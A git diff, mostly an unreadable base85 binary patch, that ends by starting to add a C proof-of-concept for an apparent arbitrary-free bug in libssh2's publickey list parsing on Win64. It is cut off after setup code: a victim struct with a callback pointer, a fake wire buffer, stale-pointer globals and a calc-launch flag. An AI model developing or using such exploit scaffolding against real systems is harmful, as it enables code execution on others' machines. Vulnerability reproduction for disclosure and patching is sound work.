z_o4RxqS`B&aWV+JQ4<~l+80E8X3f51Z*D&*1D!qyu(EEWe$dNATi+MGFg1tj4t>(k zc5f@RXt5_C6s{dgHAu1J#}FF2%2#?2rasAW-@D>deJZ7m<Ft?fAkMMKS-v?XiBC=cv__0_J!8FC#Vm|s-Yws%tE)Tqju{v1(zsRpg3+zZ)`>lKDO-5G zi>N-xj4yn^o$;pz_@v@Y`kd_~B`P_)Xk+ zjmKpnJ#w|IULgM=yARIEBw*-#5a=k8RBE=5=B~;BitKqo<|yf3qJPrD>{s?EZMKYV zgCCWAipr)q_&gNI0uU&tBZkLRh<)`8#1`Zb``!t$U;oJQLg&zMz0fivfH;uDN- z$FeEb4Q_nmq_Orh+c+~m`T4bYAJtsqlPo=Ak3!F(^G5N&p~uZ9Pf`rlnvQ_B7Tc92 zXE0H7;50sepWUWJq3}7QHY~*Ysfv^@kqM`f`Nz^b*fSaW^YXAbivh~YPT-xOS!8|O zJYqjY?je2t8UCU`m^702TK-o-_A3h6Ny@{z^+_~cB}D~L>9}AQtZ3c4VmlO$`*1t) z$F?{9C&VSzqC9-+LQFPm->x2r7*qKp?}dM;sO{rp1Off*xxzmeCHN=rnkpfZyk0;v z3u$S|kf%L%7Po8?uJWg3V@p=yR6L{RKX<6ncbyr2mK;DG%MbqXy;^Jr*d?a^qt4XV z8yQZ%+5kS<%ldk&=Ghm5+?)Cuv26VrOJ655ngygXP>KX0eRLfY8&Xy#DXYr`WpEGNoO#f?hsHTN&S4@CzSD&^&A;WsIJaMbH$!pdowP#QHTHo~<2id{! z2$+~d#-L`L;HjD?t7eP!RUFr{@c>Z4K!B+^^QB)K!{ZmXsC3VB>F1PRdj1@cZ2>vH za4I|A`bM7ii?*GEM_WrGxC53Q^dtnB;SMYOtoCfLcl*J7J$b$}t8WCS=Os5q0jE%T zX?`%j&Wx@XD8KF9dC-B<%e+Znr@h?ivLyU0Tw%VH`Wxn+Wp}eMam6uw#At*nj+Pzo z($~<12bf*@Gjf+jP-Cv6cd|@n)~t8Xc&5$kO-h?l2xxknrtb!U@x4eex+0#58W;g` zF!c@Q@G*UZ%D;^3)LA;$w=)Sy-0w|a*KE}$L$xgni>#U_5&5}UmTHf^3Xb?=$~*I~ zNZjB}Jp&o|gJ@EuRo@~xu}##$NV@c-I6YHuk>Q+$KkPkV4rwpftS=k(wiyoxJlc)8 zs!nt;6s*RwUS>;s8@Sz5sFdPEA*;>;9ee;UHWtJL>Ndu-m7HhUOLjP6_Px74$ma57HjMJ{%F%~tPlinHqx z%l}Fat|&c)^XRIIF|OC@U|oDUn6a{QnJl9a7aGG?MD8?(Cq?!!Kp6l?zbWyGibo;} z-bkqR*AZN1+H<8)PkPDh_cz|)6Q*1G8Y}#a(Q$`3uhdwgJC`4Qb{QXbrkk?<&j~gY z`fK(BKuLW^T#xvbnq=y`;?CUo@cjc64xtimJGEa&oXci;r{))z3!k@1z3!2EGRI?~ zn)88Ng;!q0Re3S0E`1%v%tM})OKLp>w~C)pCbMRZ=t|8qsrSLe!5?_5R#GRW5s5hc zme9_gE&a|M)o(IVigQT4>B7VR!tqsq15j#!KUo9K={NCEya<>ixKO{8WdArb?WbJe zbPjv$%f%h#5%g2dqkw^r_}2<{bvGW`23l5af&IBJ3UwXuHDhtpEjL~IHUMYLc(uIM z19fB>F%a4Mpv%bTxx_P1S~-cG_zbD5vyzJDkgk;JByV^%sJ$c`B4f8A@x;S~o9QX8 ze4yQ`-6y$(F`?SQWttV;!br^la{zBD_!mC!BymGf@61gE#(BUnhA&~?i|Q|jsluGz zwT@ZK6FHRS1&~?6(=t;~ROe|x<)7Nm~wg=~F8+T+%pLp`s zN_T&*tUSv^a%l)*FQ$REajJLn=e5{5WS1sism1pZ2{kOs`$)0{kDnx~!@ zpKks+D?h_7pFCb$aho82JYQRJ6E`Bt`v9YYLn|(5F-TluJt22i9>g}iNpZs0kf^Te zwVsmKX1=3ef{uAgQcPFz7XPR3YwQqFsvw}Qxp96ngO(XD3J3Dd7ZpgoNQ>D(bl&DA z?kCgqQ=$<|FLGXaEsqwvDOZDY9&Y794IqgcvSZI0A4DAxtQDKvSqNi(ggKgQ_E24< zBnoe=Nj8AVhx*3qMidJ_6N`%%u7F>AB5MFo_ebbuJ$CF^|3y~EV42z&3u#4Uk@zC~i} zQ}2&%H|3wU>o}v`PYCNr`Wy34+f6*9-6>qN#Q)xA-h&28Nv{+ZrF0F9a!t zOBVa_-WuKTacQV*T~vSj=h40J7W)mDka~!s4>4XM_tX-wRK~GDi>-!*j!e|R>llHW zRjL~IXt5vWYG42!*Gy7Z0mES{gT3Y$wyfvH*0{*lY+)M^l&F)W(7To;BH+tT!+tj| z)Cv(KeL)1htXRl7QL+Qg?|*ubbjQ=bi(+>s-$K9^naK@JDn`{FIs zvf}FR6L(09#(O#1Ed7>&x(imn(nd`jl(&jmu5a*CwL9y->FvaqsyEuA21$1TeDJswlWn5Hq{ zArQ=Pk%@y4$A|Pisa}_HZCr(M=%1=~Dz(uqS?88y0h~%b$s6N1M)Pf`9Wvox)~UqBF1Lpvri(f6w2sA`A}ubR5<15u3;Nfqi#gaOe2~48tlM^wAe+0 zS%3Dt7;RIsVn=F&bosIjZK+R#lD09K`Wdf`bh-HnSBzymCu+Lo38(TOd?Av7_L*c?@h!9m--~XXd5Ok_RG>R3nWC`bhB+Ur?MT@`{4j!wr+<*W&yJ^+q``H*ltp_g zJ5EF~-qqbvTC$v0xh?p_(`xr|0XtufD}_>^6QC$d|6MHtw#rp_5!nZo44J{tJq;($=Nkb7tEn!hnXm_xE*>;dt?*($3{s0 zG6b@6tR@>>dY`<=PB&^>h!3rEj4r&%;IVI=%-4I*5AR}^by!j!wcM4pethTUHGLP> z?&AfCSJuz>v4U)V?IazB>JKbxwQ5_eE8|C_*C(n@hV*TVLhKYV_go(K8wWq$dN40B z?NnKBqTog8Rz5-MHv7}gcX_0KIH!Y;6MqP6kFcGJIgwT0%@=o2E)I!j@!GymO72{1 zY5)TJp~z9Nn-qESJ*DNX*l~H)Nn?+vZ0O@Bj8O-z%5aganNHadCzJ1aInn}PlC|l(-9h!EuVUarFUd^CA#|7cxa2@ zg$Sc4UJ)De)$A^4Mq8|CscKSSMz>kzY}wM8=dz`%#N_*-4aVS~Otxx{lf>6Jmi)Dt zfhC!TjW>MEgSGfSPyxt}UCmqTEVbl`2x^jiTefThb3W1MHkN&sA7dks{ktOCb}@J* z<`!_Q19-N6FvhH1mk6xRYMoVtp%`sG^ETnaVX9cQ>(n-CZ=(1qOxzP{RmP%S*Vp<% zURrbKm*R1a zvsJT(0Zy&nmUT-Svu5>xzOL_*qCZx8_Dv|^Z@g#Un2B7queR>hoA*s9=l-)-L)89O z#`<$iea&8d&AtiO@Opo1fBkN4lfJuQ8?$kJSO0f*?G3N#|IY6IcV0iNt@s6v2KwlM ztkhruX;uAMHdi3FHIm^8uQZNdpslEct^wa48vr*D7F_y!UOzn0r>*!Ct-In91;S74 ztU)fU{G6wpLzli%p4ojEZfNd`FLA2@+gr2JOf2O&^?5+6yrvxN?~C5aGIkg9WZbKc z6$fR+;naXG-G45fH+G2jsl?Ae@VBa+2%`C8a90`vj2rc#s@w|e**989Q+pc?%ytJt z?pq7|*clxTAmMhAw@L^hlHv7nZTX;R#_S@eJ8v zZN)cHR%3XKw(5kKjvgB$M@vqTnX~qjBmsjNmtbAhW@0l>Ce752{q`&oU4$Y5uD&_? znkviJ;^hKKb!OGHCHxCvHFwAckGjEbkQA)OrTYU9*7p!q3QjnrhxjLCcecX_vzKMz z%6u~}uPlAFIGvE{LD1=n-@$9)$iP!GrGnznfPymM`}-0AOM?djOatq8_f5Hj7gkM7 z>??7T*EO;IZw#negfg{tnA%>_=^OQRtOx8*_4hP+_a0t+^FUu}m{fjFKhPcJbPurk zJ+U1D^pBYVaGc)0p8Z?oR*`!EXT7-`e-t=``u@*?V}PfAN1wz^84zo{zL* zX{|Zb$9W$xO4~S{{2$w+8;*w}EbGSbiA{b>(M<-hM3h0C|H@RSGR+N_3O6KQ6m!GN zk5;g~dUD@{O6eX4Q`-X7md?tBd^L!Jv?maiouMSoPV+8ZZMkw(QOu)DDH^;dnYdam zsrA@VGY;+b)Ii_&SwfbG+4#;HZ%XGT%fK!rBf*tegcw4dKDrRWDs7jol4of9Jj$Sm zzaA&&>QE|xM_gL!#*?BYO)i$mzUh3J_&;Eq#m9)pY=)}&((NGfE;SCg*?YD0BC8m1I2>T9jc2eS3D&Nt~s-7{(2Bv4^QEw{i zMSn>U!d&fVtyG1@KWmF^kND-YlH*veRny?rS6a%8;@Dm@@v+Y5re=7Z{bR+#bt58X zlE&7Y3$2=!tk4yNUNgJ3uXW;=*}|hA;DolCm6jUYa7dS03Gt|WbtWs7@z-#uPFXe% zm{S1BU2bpoM3D`ARUSY7ZG59q-|f{NlO)#Wi{Xw1n&F1Bb|dXG-n!Vk$E-bI_OV=j zuE67?2>X|X0#A)QE4}RBUUr@+0wp4PQwp<=6Uce+0j|d15UwiEw@NnL$XT=!qFc4A z`Tlb$0Az<0FVuO6Fjal2^CZKbO9e3PT4EnUjjy@GL~RT$6{k^$t&Xq`l~-X5%(#)^ zOGXfeF`ZSemeflO8}jkeI@Ob-)3^+D9F>+a_86NiR;E7fjX3eb z{5Y>*-Ds{d_;UUP;E5MP;bgW*#k4&5q#TqvEg8pQmryZRMF`k3s*asUsfxl65QRHq zh$w*@dB)f`$bDjZIs4LUu%o27FmfO_=ogR!#>+cAk-T1%Xeo_N-6#@ z8cUtWFu?c7yZ{EAa8mn<1x?{CD*pa2qBCt{cniQx+5QDb9L349HOo*HzihDo3t&s&noWop?4vcydRSx+0YxjhQ5+?)EXdp zQWYW}$FnsOMKjs3{vZ*oY<<&{p-ye(MCzGG_yC0wU{IVU=ZWa6-B_=zGgV8o5wDV( zN4^~VQ}Y>|PoLdLoEXJ{9FUGlcl0Owj;Mg7TZLg{$%qV+<$YV5#yV1STn1s;I}BW@ zf&TAb?9vy#K*lT4uy8E3c{oS6_}b`dhLYF~gbsZZRFI|;CyWOFyu0f%BYiylbozOQ zz?eEmfHQhxG7_5m6SqqSDKj|~NrRPZCQbRNgA#%`ntmmCI0K5TThy#(9#zIZng(xp zjm(zWJH&XV!#kpW;c%)HC#xhiNvu&K^qizV!J9KBHGy~8byhv*$ncpGuyOcmlMhN%Yq_85Kd=;~87U?Jzu?!r*ZiWzI~6Ph(?#FiE`&{?rg-69I{#hdb;y z@FwEy#=+_XAx$G!^pl$g#hSXonpj6;cnIHNl|%L3Si z`ik5B`N!30?Pz#$shuZg!Kn0vN=!@0vl6l#y4G<67m{*GeTMa{?1;HSC}#rI=0!qT zUqGr*hRIZ)xB+%muoWV_L0|WVb7KmpgF;x zzB=^;vKr{?e}`XS6CZ$hWnKry+P^0?z1116ocXBZoKsU+tnOndyIxIo*U?H^(9m(= z+7CK-#pZGT9@QDc6eHO5g4kSCWjyXp+?;7xk|~e;UFM;xjthSPPKnAXn5j1ycSi-A z;+u04dLK-1u32Z0^8~(90uB2i0zwru=t&6;Jn-Vfp+Ras^qbw10joJ6GZAM3lKQ@Y zR;+U8><$^Jn?dJHW{u{Q`h5cH#sY@Uco74wIL-06Nk>0MWVAsI)!C6(a(l_pZf)g% zp*dhtwwoCde!)DF#pfVQal|_slDM7sIz6FOjkLS7z$uIGrJu;RsGj9FN>N3Jil>hJ z8Nd|JQ;jSsM#mp*!<{#a-Z*NeHY7PUTo|eAKZ1&fgr}sEWSgc^y#XBKX(NKT0zMpG zUf?18ag-_bW8P)gA6RdZ^#`-tdN|lRJVt1)w?kdaFP1$@l`^Vecia*0VhnO-q?~QR zJVR&CJ@nd%$&cV26IVTAym4{lUX`h4LkNjleaITS(++*08KN_6m?t@3b10V&IG-;9 zhvWyF+F2^${?K^7>pE#wos>2U2dx_0swI6mSk|AI@q?2lBShqKa{TE_o&7s(Q#5Xc zdUM$Pv&6~22z4&}0Cf0Ru52g~cm#r?{<7ZI;XF>#Wp*6^tG?;Ih;iIK}8;Tkz{=u+z<`Po-BuX5+UnVn9xLp~}*4odZziTSKG z<$mu{oWqJS0*kH5w^|p;IYKm^#|t_1OcJ|GM%@RSNb+8`5`|K2a8{mU`;E7Y5|2s? zq7~g64Y|xh%5r4YZDdT+AwnV~iF|$V{O|#m)+i)5Dt26dAXL-0{Euw1@0Aa!_mA(66oel3 zlM`b7@jbKpr2^Jk&1L)~WA?YnfDd8hQISU;vQ|f!4H7pHH6%FWo(v7gM@r-%TUkiA z*bCVIE>pk#=6iNhdA`9B!0BIbz7P7tFDTnTCRSQo>gdd8Ms%i7UPW%lhFu9GZ!sZr zW`R0yR!P@vYdk12Z9S21wD}rOh&&hTu(pJn_8WLV6sOk}NLQr_VY({)VocFr{1a_V zIQ&n{EO9j^Br~x zziSTIvLy{^iN7iY$;AEmZSjr?-+zWW7ky5RoxL*tf|>{CdsV4n7t)r`gJG<^Rb2fS zNOBuaD=_&W*~i#12tJ%mln6BOaTDjD8$YEwu+3-(!FSmS<6xmIhG8x~y{49RT4>)OW#BWvq z=Sd{=9*b7yEkuL8+2z@h{Q#5L2_V|vXAH8Evl|Ln-87FxZnLI%kUZOrV~2%1M~=38 zqZejvsIGbY2ONa+1-@JRvU!Z6$h&G{#|bX1@RW-NcZw{2qd0XyazGa%q3s`-N1}4( zq}iJtCtH-#(I_nu!WZNd#-owXxGEKW8gS+@6i&Hr$EmTrk2zcJyi;{czIqGJf#qU) zQxOE8jmA{gvN&<$k504 z8n1ete8^4$calt@}b-{u^uEK5D+{d}Is?->+`A0Q>EcC_eQWO=<;$j6UO7nvk{ zjSNPKX$3e0y~C6^)8ObFJcI1+*kM(kyqxVF&VCPZE&475LRcBz2RAD+Z2T~1vAuyq zP{5^zZ?y|Ut!B64zxHE&@N%6adTR&qjJUjxn1`tzd~G-^tPgXHM`i)P=n*@ zWth{9HaHA0K@7dM$OwRn>^M=LQx5hP48$3a!a!OxHVTF*J}lxlIK15)XMTZIzlF(V z*>E%aU#vhgxdu3buiKX0`?4+T!dy8j9&6@m%qR8KC>z2&MfCOtHc`QAOtIayK{r+h zW)76#t+$Xat?ytjQA7P8`}bP;fxKb&M+;qhe7OXO&O!CUzkp*XiQ-4CStr@wL)f6b z*k%k}T-IfVjN!Ai$9_kBIqPG|-#K{zg}u$H8a9vP_#alFcD`BmCo^o5sy)8*AO;e) zyL6i-p7C47fZRPE;X{d8!#f82oo$ty)Gc^Yq|D-mY)E}zIK*-tFqG9Q5=R4-H z#PmY5cc+;9X-H)a&6QKupG_KIw&bjyacZz#$W%*wR3p8L1BwosJ6jJHu;W*@y7V{p zcu4NC@rAUxruQ>6e5)eEJmM5=kS}Rr<$2GS2*&%%j_-VXJk5{qOap}^rb-u>w-g!u z8T0-Eb2^72N2}PG!*7>GgN^Tgj?udHjWM#WSsBK`NE+7X) z;xdpkL6mcydw0<%#m5(O$!4E?lEyEPiChT^+sgKYwk{geaE&L*7sV&d-X6|3mH1A6)~$x6!)P%5F_+KO zXW!WPI%D#+p6C%&%b9M;d`rzkYK8kC?XeH?hu;7W^2`jtWA9PVi!U(ROGs_H=li;I z6MhddYfsbyYM)FU#~8_=__KS+aW&o$@H8Mpb@ZlVFK6`keFcA{zi*$>pL_5vL#gan zZ2V>*vs{g`RP)$V_*2%-=x4MCv(o}E-RAa3u3bYsoBNzt#Wyg2#Ta=lOcr^t(~uom z`D1LRV!4APT?mvLho;L;wQ!JqPaLEWEv}oA@jQ4B9B%TeaA0J1QP-ScuBE>(xDiJb zTY3RwDZ9+nBh!94!bN@HN@-9wb`i5@M_ZzyOyLG_U~-3F8fS&yX951__POMPx;&o& zMhihmW~8@VJdn`ef~kaTGR~2+-o!@bK6@>EFuUv@$Ym*K;memr#ii1teJOCVdYLoG ztbV%Z*-mD7vumWWzRM2Fl_i3J#Sb^B-{7iadL$P5A3|HWH(l(+@7^wNd&BaK$2sSc zEx%u?4KDh=1e)r^_FdAwwrQ+{8bsZ;xMp(LJ)4EHk$F!RC+3sk-bDRd>4NMVpf4Ts zrYABN(Ek+bGzaR=^g8Be0keDrusjn2JE7Ld>nwEkM|Mo6+}+vb<|E*3xeABXPs=&u zn%bRL#Tac}pl!_Wf<3~9_vH()f8*AuFZM28Bhg| zaVnq!>L-6(1(AsoZGsYwiFU{YFWde})n5Gy&#!sS1YB*9QW+2Ii)xbR04Mab&g3T( zhLw(vl>0ey)@0Z0>G_K${qO$-2{c-SmRf{_)bF2;#uNtpFEEWSrmg)|iFZfzIQ1|u z!Lw;>3*ySClP|GP@n34jH(9B30Y>+BLVp{rMx|e4WdN1l#3g?8g=ev0G`m1pg*Ix{ zM_m0Dq03Klh=zR$;0QH4ufU$&`J~Pv@-oHY)WvlG(sZ4fU4ebObb-cyQ~F@}=Plv= z*|Hg+UubPZ{U4^Y3e+}or%43nId~h`Vn(tDu}WOrOjMqi+ji`0@5`mj95u zm(`;HKa0n&GYq3P@>|DplupnJOIJQ_1I%&k&pI7#AAy`5A3A1KWNtTyM;{ie{ENs# zVw-aMJ8IPi?duVv*=b+NCBFBCXG8{(tPBEL^&TMzJq7_KfP{Wj#)1t@^NfyiQNx^X zmYd8aTTp1ZcDvVY?zPvw?sBhv?scDg9dxe;-0LCt`o4P|cCRPhtLNuVKR);Bcdr5W z8g#D(?zPCh7Q5FH_gd;+C%V^3?zP;#UgcgVyVq*>I^Dg_aIZ7n>umRWhq|s^4@0ey z5lf9fxgStvv=!fA%Y0lM!xf^EaQ8K?6+6(#2@)6ZVgeRrw)KoUIeH}C5^2ilo_wv6 z!?>-()Vi#^pz)x^j@S&p0sD(tV@XlX>8z zW4<@pg};4rSgN8LXfZoX!k_p>KIwymsPmr}&86_hx$1;$RXp{l z{>Q4oO9iOWI7P(Ie8Qux`1gDdKU$&GVX|Tl0gCOxXIWQ0HBYGI)Jry=i98(>w4P9^ zu)|8oOT--%(I;NK|2an;#Q!2JIJLkPej8i*Uig(f4BMAJ#Qk&J+r@JC2e~_sJ2M^u zT0;GWvC^E=2m|(R_|){2^u%m_f@r6<@oJ^2s%m;tZhUYfn>H_LSCNsC^mi(}y~c@| zT1-wI4{eY3o9{Jz@Lhs89-S5qA1sdY<4-;ZgSBE3GH&Ehv1fsT^^~Aj_5oi-Jr`>L ziSDNxxInot!AYQyoOo&pHQAeA_LaEf0$*cVb$Zd=RL@Fd#4rmK*MqK}284a0V6qM;>`V$a znBrB0GYRD`WV}i!ci|8$b|*ECnDVuLSNs;96^`-Q+@(M1#JTbb$nkO7suw82YO?mC z5}S_7SYK|;h$%$|*Ut99q$7?)VRuqeZB^E)drxyNtR({<=R!o|IunUu#F_lR_O3lX ziu&6Bvb#Z=#TXSTP-;g6Z)_u-eI&cto!w-!n-_$Tk|2+w%Vu|yY}pt4$OBQi1_1>v z+W061jewP^RjN>tVntEFinm;)N~`@yEk3Ad(|f66%XRPf%ow!*a0QPJg||q- zi9e|#wWP9SjimYQHIyWoV9pG^<{2`U+%)NV$xYB@^ao#};l?%5Xb!Su%?_%vYc^7a z9npepDWspIpCk*-WC*QG#;m!GJW0cp&@l9Cu<-Y$C0HS(^Cs-+J-WSj&&=Dzf%&v( zyUllc@BVzs%u~qJ<8vt|Yo(~5Z!GpcLrJ08ETzPX2^1%_cv;2h2MXx7jpXb2n$YKX zO(^~3{)ff#=ZE>^BwD`imt4091r%E_%cYwMe!mgqYbHHKI*uo=WB-K_!=bS4Bixt_ z?otVtx@dnsRUeY};VwBoh+{Q&YHTLWKYS3YD1;dW7)(u%TZY2Dxe_dLv8?Qs3LWY# z{bA0Zk@VwU^so1f>HY6d-6LSbVH`L67Ak+)9F1G*jJFf9-YF|Ri+w&RZl zi*avT+!q$T!AM&a*nl_^9`<#$vTkdc*Y6AYy)j=;DC!G9gwNk02BsyulXQ`zi(KX+ zm$_H~-movemo1C&uH^xO|oQlF4|&>kEaVehj-LCBiO=lZz!m6XU{(;8Ia0j>UtWzNE*;^S{=uy0QdTtfq9$Kkr7aTrC06ex4k5lmtp zph8?srs5GU?kBToC}@K#p%h1dTbkr#NIBW-XL^`CI`pWIboxTU0OlqUi$)S6*A|b4 zxva5VBGsDc!JLJ`HYeh14T)Sb%1QHysZtSU1+=Ex+Qc}G(h>}d(NvP_@&%K@NITaS zjjI^4k_X3*`QYHB;@nhZaU|M>qBxSA>~J~tZBiy|P<}ER<)rCmOtE_eOSAN3!<>i` z3};oHC6E-zAC->~BJpG@#`!yZk%$;#*^yY*a>$<>O@#tnE7D^zCvlLYvZO=Yuacd~ zq#T4J%#)9ch+S&(WIW|ZG>K&65FNxwV5kb6Vw@~P@sK7*@`(}$2~ew~4kK+udQr5r zid256GWgnk!3d%J(QqszB7l+|K}w?`I;i92Z_o1=n@fxsAYKo=KfGLLEcm59A<{aNOFkJvbhr$!_j!pu&kJj!aMnk_!@Ky z*$DGJvg|lU>=d)&2lLlE?|dQLLjpZq4D%xym{S&&CPh*M z`ZZ$G-=T7QM-Hb6^zofLrUkr`p`qv5H_^xTE|w2?a$hB*kLT!v zht23?$tlVGD8nl~Rs*LT83Wnay_FIV;qN^l>q2YLKLC#}AxPuXwVX$3C1ZPBOb6&+ z=VFt#xw52lPyAmzwY`L!+I}U+7321YdzAwxxR<-) z?I}tvE)Wee)37v*upOS~^6!2c$wtE|?fB4pg^L%Hm=s=uyv#=QMg0F5IW0Nu&u%K!S_5 zaS2q2U|Z1di}*#ZxTRrMb2G+n!c8HVld360#hCS_N;Vge1oQz80tNsxVNcgpU1er2 zj=;qYR!K`+0dvV~HjWkoz62tX3x*N3S0%8Rp?ed@T^+K?DI6NZURq|r=hB3hWR`$bh^NL%xE@+4(g}i# zLjGcwi&Wm%sKRyaT|w z@FNSAj2#8^16T#sz6pTq0lAL>X)MO3RLV5-<+k#>a=Uu3+j zU2fKY#r{Vq`uto&`Hn#T=1ZA<2`GCIeOQ(r@Et$28u@=C{XCn zXfxwq63O4OW9Rp3{`^_RaqTSYOygJi&+58vS|B`|xbe5M#-+~S%OJum!8)0r#aWU~ zV*x3PP|3YsJd4tjD~19jJzWB)La|!6+r|~wHqN<{GnlUG3Pw!EbGUOpI2Q+J$%R}w zcn<&1>jC8wPk=qxZb5f$AfKV^+oxb z6mu7yr%5d<8l_2f7il%Ar27JGDmF^HA+O*$(75)x_PO@EUUWmubiF2W26Bd;bf*u3 zPa0|WrF;MJ_Vl6B1Gn-Y)`?_uz5Q1jKS(yr9?=4-Am$S4UN zYh_@r=Pu;Dg*wKeYX-CcPjU$#D;$ge-35ghuog6Q zgC-v@2TdPrB->VLT!mv+YF&jzy}Fvh{yc3#UO{2E8@*)VhCCPA`b;|$tv-(b7|HJk z95JWUbs0G;NlvfUUC3*y3JS-#_ZE(J?JLw(>lYMGA!LsVS(8C7kuJ$GG(hr7)9G%s zqFCHPL?*N7Ge%_9$-br{YAoCmlsNmMf3Jm4yUqi0q+ zh&KeB0Nh0qMvmv@z|{dKEovk`xwC$PJ*mPX&)&i@FmbeNKPg6eupK-B@YqNWc(Ojh zOk_QROEl(D&~}5C)`D~p|4HDIz||6B2!A)c=gPR$CB-s_{J0mi^n6VR$utAkHw;$? z+&bXsnVSxxTL|2SVRW$(%xGY+!a~F>7 z&95$O3KtZPg*S^Zdt)$rqg^i+>Zc`K z-eygwFQrKy*{(&}YqcX9rU{OKcIzd%TOhaFnNEKnxsg-uBbpHeOxJryz*cAUJq@{g zs_+?cZl6_ZZ$u3{V}@%a_Y9wR@&mPx`9sB1(|v>H<@rQHoL!ZVQtT~$R z4k;SAoGWiAX9!L~PB~iEKzW1va;tnVngWyn7~haiFQDs^UAXS)#osG^aj$fn2byY2 z0MGKDp-@+1#X3A(${s`U)Yde-Sf za;HJ>mlP*G=$`ZF-=W7k&`S3y#Sc|0wY@q`jBfCxNiI7Sn-6_~vBpCuvUxjbhxpvp ztEG9j0#4!D+-x3TKHQnL#?Mr14Ub-$yAIG7H>T5nM0{rbl3ANHs>l(A$jZT`%Gv5I z=|`}q3F`o~S-BdIG$C|N01V)|Xs;jP`n=k90i?;=y1@S90QD*lTP122+4oM+p8U%+Ujg>(igWEf!0X0IC#Jm z;MM|nJ0X;@r5ubE>~+gI=+b)>HRN?Kcs>BnPU2C<%-DL3#D(Vvde|(i3!Q)8tLhTWar{n;(ayvhs4Opb0PV#0pr!pRo4c@0(=;i zBWZ?yzT`s5UsS7>fi|wrr7Efw?%sUuRe7qJrVy8SC?*cf8&+RjSV&1sns=& z6(47ES^I>#YE|hePGX=x>BV0z*Qw|wyD^0JLak~H$!@Auv~C%|4@Whk&5ohW!_d0g zq~fRL39AGgBR=e4+)Fn#MMv3hG-!?5*?3gFNhJfGk?o{Eh`AO&+4~yK)iP>U>T2Pe zT@=`Ic*=7%5A;G1oBh=E@;zymB%k~~UEiT31jQ@;?$W*BdHGD9y$W3&u5AZh<#*EQ zj*UVEcD_NVK+ zRBG1f1FExnz4n++b?(Y}@1$IyF%N$a&&4C?j!K)2LcHU7ddO*pcOlyCed)9VZC2+V z**Cdrp*h358+?bm7_F8FBI;qohplu8Wn)B>Equ(=*V|>f>3d^FuR zogVcgOQ-1Fr@H*d)HO;Oj%19j{f& zrx|*UUmBR~^#Im_u1Zapsikq%q*ENm0NX%&zB&$-^}sS!s9}T|s?#d{Y}MHeeZ5L< zE~6F&~}1;x-F;9P`IVj=T+ff=YKzyPi0YLO%tAd@TB59&36ak8M@q#y*tCb^|xk5!jT+;(!%^4S?-{ z=K+TRM*$}Rqc`WViGV8rWj5+Y z76D>_8vyG7TL4c0b_4bSUIqLH@DAVv;1d9Q5V`=0022X|0VM!4zzL`UGy>)U+5j=Y zQostp?SS=wEr7=WI{_~M{sV9Xa13w)K*u?soavL*%#BTHVx2D%2#I(j;Kts~q=*e& zw3FY(*u{Askv8MHu}cp7)k4jg{bJ_4>Ik;m4@Wa!UUhdcnc-)T=ha{zeM7J{?u+-Z zc1^9AZ15$L)wHXQvFqr3W;BorWyZ&NHw?$krDq?|k;u#@HtfUF)?w$qi@rI)nxww0 zH|}%N8I6kjpwyo&%5)2)vu5lYV{Eau9vh0V*A8dHO<1F?Pk5@_%?;SZT7`{o)mW;& zti@U98Kmr&+6H`~B4Z!4|6Ds0I|GBn))Ji?42bRyUz}Z?-z+BQM6lNzJ`Pl4pJ~`k$g%j;w5wp(Nea!2Zd;iJ2*gF})YkXs#qyT+4 zgO#BlZNj((s(&7lxyTF~*CG6OES{4aOSdW5%7vpBrB?zG^&beAoEj#tTin$z`fDHJe0J zr|C}9eWnLZubSR5O)^h58_ia;(_CY2G%qrT%{}Jj=3C59nV&bmWPaT|q4cuSX{8mV z;nHO3br7#cY{pS#J4(Wvk_J%K^)8EFW9+*2&fy>pbf<)>doSdY$z_>p^Q?c|rMv z@+swCFRv}{DZiuq?(+M}e^mana%LN4n`|@KEVkLUc{aZ-XiM5|vfXKW&i1?Y z8TO~`rv;5;v}2rOnxnxn+p)y)xMPQ7mt&9P6~}9iQ;v(B6P%Yio1OEWap!vHR_8wF zubuBWKXU3T##L|?S5!1t%&%aTuod7V8?H5U8de(C8tyhcV)&`y8N;6qX+ys8Vnj%((P{J;8;yQr)VRX9&-jM%x5oF4 ze>LWt>P<1zN^^ykEs~$J%Zx|LkK2A_|HzI(vCe_J*=GJn{7?92_{03=hJM4Fh6{}c zO;gQf=I@#JnX5}X%2t(4usAJNCtEJR^L>{uHY_o`VtCi^p<#x_Yl&O#u{;1TZ@28R zybM48-txKS605;#wR)^ett+j!Ti09rt%t4J@^R(%@@3^K%GZ={hL0b!?SeOdXFF~? z-(GB=X0NvYURdOaI#P}&9VZ;0ICRber^Q+AWb3eUhMw=3XP4ely0vt7X=T}ER-aX0 z9xC5aK43H2ZT2erbo*@k0(-0dJNCGJsr@GVt@b+PHD58I!x@3KE{|AqZk`)};; z*#BVvFZ*BY8lgbANSG*07QQYR1)Ja!9ua;bJSV&?{8~6Jd@Sf3g^r1i$qs{~$}!#X z1IJd!V~*{Pr!lwt9OInr&M;#A-<=ORcR3GZMn7|Y?wnXLrNUD&t0G#lv|@e5k1L+3 zc%cH{Tj<9#40OMU{~G@dzLXE}i~0ThaejawZMeuF7(~Nj_)$f^3nJzS6Vg3g4+JlVlGqY{-JDnoLOC|5&>-Yw~iErWO z(S+`i_hNF^5@`;atP8Cj)}(bgX5mrmPU}(YG3y7`6V?Iic-tf!hfFTEmDo1e`|Vro zTkVh9x7oMbciMN`_t;;sAFv;^AF>~|AF;n>KWaZ_|G<92K43p-KV?5{XM#=`EsPP0 zgt5YSVUoZJQ-ornMBoLpU=;+RQt$|MLW9sGvJA%?2aEi4n33oC@x z!dhXS&?nq0Y!Lc|Ey7meQDK{~UDzq?7WN1)2nSGI4he^aBf?w4QQ?^Ifp9_?5KaoG bgwq0Z=p1Yt-Z{Wz9bd#x;yJSZAL{sDoqy1_ literal 0 HcmV?d00001 diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c new file mode 100644 index 0000000..4265d98 --- /dev/null +++ b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c @@ -0,0 +1,410 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "libssh2_priv.h" +#include "libssh2_publickey.h" +#include "channel.h" + +struct victim { + void (*cb)(void); + unsigned char pad[120]; +}; + +#define MAX_RECORDS 8192 + +struct alloc_record { + void *ptr; + int live; +}; + +static HANDLE app_heap; +static unsigned char wire[131072]; +static size_t wire_len; +static size_t wire_off; +static struct victim *stale_victim; +static void *small_guard; +static int victim_freed; +static int launch_real_calc; +static unsigned long heap_free_failures; +static struct alloc_record 